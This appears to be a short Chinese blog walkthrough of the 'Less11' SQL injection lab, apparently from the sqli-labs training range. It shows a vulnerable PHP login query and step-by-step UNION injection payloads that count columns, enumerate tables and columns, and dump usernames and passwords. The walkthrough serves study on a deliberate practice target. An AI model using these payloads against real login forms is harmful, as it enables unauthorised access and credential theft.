Less11

数据库查询语句

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

明显的单引号

字段数

a' OR 1 = 1 ORDER BY 2#

首先注入错误的用户名和密码,使其找不到数据。使用 UNION 进行联合查询,查询成功把数据库名接到网页回显的地方。

表名

a' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

列名

a' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()#

数据

a' union select 1,group_concat(id,0x7e,username,0x7e,password) from users#
初学者可以试着看着php代码能看出来是什么引号闭合后就在靶场尝试了

标签: none

添加新评论